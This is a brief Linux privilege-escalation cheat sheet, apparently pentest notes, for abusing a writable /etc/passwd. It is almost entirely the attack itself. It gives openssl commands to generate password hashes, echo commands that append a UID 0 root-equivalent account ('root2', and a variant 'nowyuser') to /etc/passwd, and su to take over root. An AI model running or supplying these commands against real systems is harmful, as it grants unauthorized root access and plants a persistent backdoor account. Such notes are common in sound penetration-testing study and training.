Writable /etc/passwd
Generate password hash
openssl passwd w00t
Append a UID 0 user
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
su root2
Variant
openssl passwd haslo123
echo "nowyuser:HASHHASLA:0:0:root:/root:/bin/bash" >> /etc/passwd